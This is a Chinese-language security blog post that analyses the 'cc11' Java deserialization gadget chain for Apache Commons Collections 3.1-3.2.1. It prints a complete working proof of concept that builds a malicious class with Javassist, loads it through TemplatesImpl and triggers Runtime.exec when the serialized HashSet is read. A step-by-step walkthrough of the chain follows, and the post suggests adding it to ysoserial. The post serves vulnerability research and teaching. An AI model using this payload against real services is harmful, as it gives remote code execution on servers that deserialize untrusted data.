0x00 前言
在看三梦师傅有关内存马的文章的时候,发现三梦师傅是用 cc11 打的,之前也听队里的丁师傅说过 cc11 蛮好用的,这次既然遇到了就来看一下
cc11 好用的原因个人认为主要是 能够像 cc2 一样加载恶意字节码,同时受影响的版本还是 CommonsCollections 3.1-3.2.1 这个版本相对 CommonsCollections 4.0 范围应该会更广一些
个人觉得像是 cc2 和 cc6 的杂交
0x01 正文
利用版本
CommonsCollections 3.1-3.2.1
限制
JDK版本:暂无限制
Poc
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
@SuppressWarnings("all")
public class cc11 {
public static void main(String[] args) throws Exception {
// 利用javasist动态创建恶意字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
// 写入.class 文件
// 将我的恶意类转成字节码,并且反射设置 bytecodes
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);
f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");
f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);
InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
HashSet hashset = new HashSet(1);
hashset.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[])f2.get(hashset_map);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11"));
outputStream.writeObject(hashset);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
分析
前半段就是利用 javasist 动态生成恶意类,这块在前文 cc2 的分析中提及过,所以就不重再赘述了
我们主要来分析后面的部分
首先来看一下利用链,有没有发现很熟悉,这不就是 cc6 Poc 的后半部分吗233
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
... templates gadgets ...
java.lang.Runtime.exec()
在 cc11 中最后是利用 InvokerTransformer 调用 TemplatesImpl#newTransformer 加载恶意字节码来实现的触发的
接下来我们具体分析一下,在 cc11 的 payload 中,我们发现并没有使用之前的链,而是只用了 InvokerTransformer ,通过构造函数将 toString 进行传入(其实这里的 toString 只是占位的作用,后面会利用反射进行修改)
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
然后将我们的 transformer 传入到了 LazyMap#decorate 中
在 LazyMap#get 中会调用我们传入的 transformer 的 transform ,所以后面我们只要找到调用 LazyMap#get 就能进行触发
后面就和 cc6 后半部分一样,这边简单说一下,具体分析可以查看上一篇文章:https://www.yuque.com/tianxiadamutou/zcfd4v/ac9529#df9c9706-4
在 TiedMapEntry#getValue 中调用了 get 方法,且 map 我们可控,为了扩大利用范围我们需要找到调用 getValue 的地方
发现在 hashCode 中调用了,所以接下来我们需要找一个获取哈希的地方
所以这里又找到了 HashMap#put,如果 key 可控就会调用 key 的 hashCode 函数,所以接下来目标就是寻找 HashMap#put 且传入的 key 可控
这里利用了 HashSet#readObject ,如果我们能控制 e 那么就有可能触发,这里 e 是根据 s 反序列化得来的
我们查看对应序列化的方法 ,如果我们能控制 HashSet 的 map 属性中的 key 那么就能触发 RCE
所以我们这里利用反射来进行设置
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[])f2.get(hashset_map);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);
最后利用反射修改我们之前 InvokerTransformer 中的 iMethodName属性(这样是为了防止我们在生成 payload 的时候触发 RCE,在前面的几条链中也会这么操作,有的时候在本地触发 RCE 之后会导致数值改变然后在服务端就无法触发 RCE 了)
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");
所以其实前面的 toString 也可以改为其他的参数,我在本地修改为其他的也可以正常进行触发
0x02 总结
cc11 分析下来发现还是非常好用的,毕竟可以加载恶意字节码,同时利用范围也比较大,后面感兴趣的可以自行添加到 yso 中